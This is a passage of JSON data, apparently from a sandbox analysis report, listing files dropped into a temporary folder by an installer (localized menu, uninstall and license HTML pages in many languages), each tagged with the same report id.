"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1BR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1CN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1DE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1DK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1EN.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1ES.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1FR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1IT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1LT.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1LV.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1NL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1NO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1PL.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1RO.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1RU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1SE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1TR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1UA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1CNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licCNTR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1SR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licSR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1HR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licHR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licFI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1FI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1SK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licSK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1SI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licSI.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1BG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licBG.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1KR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licKR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1JP.html","sourc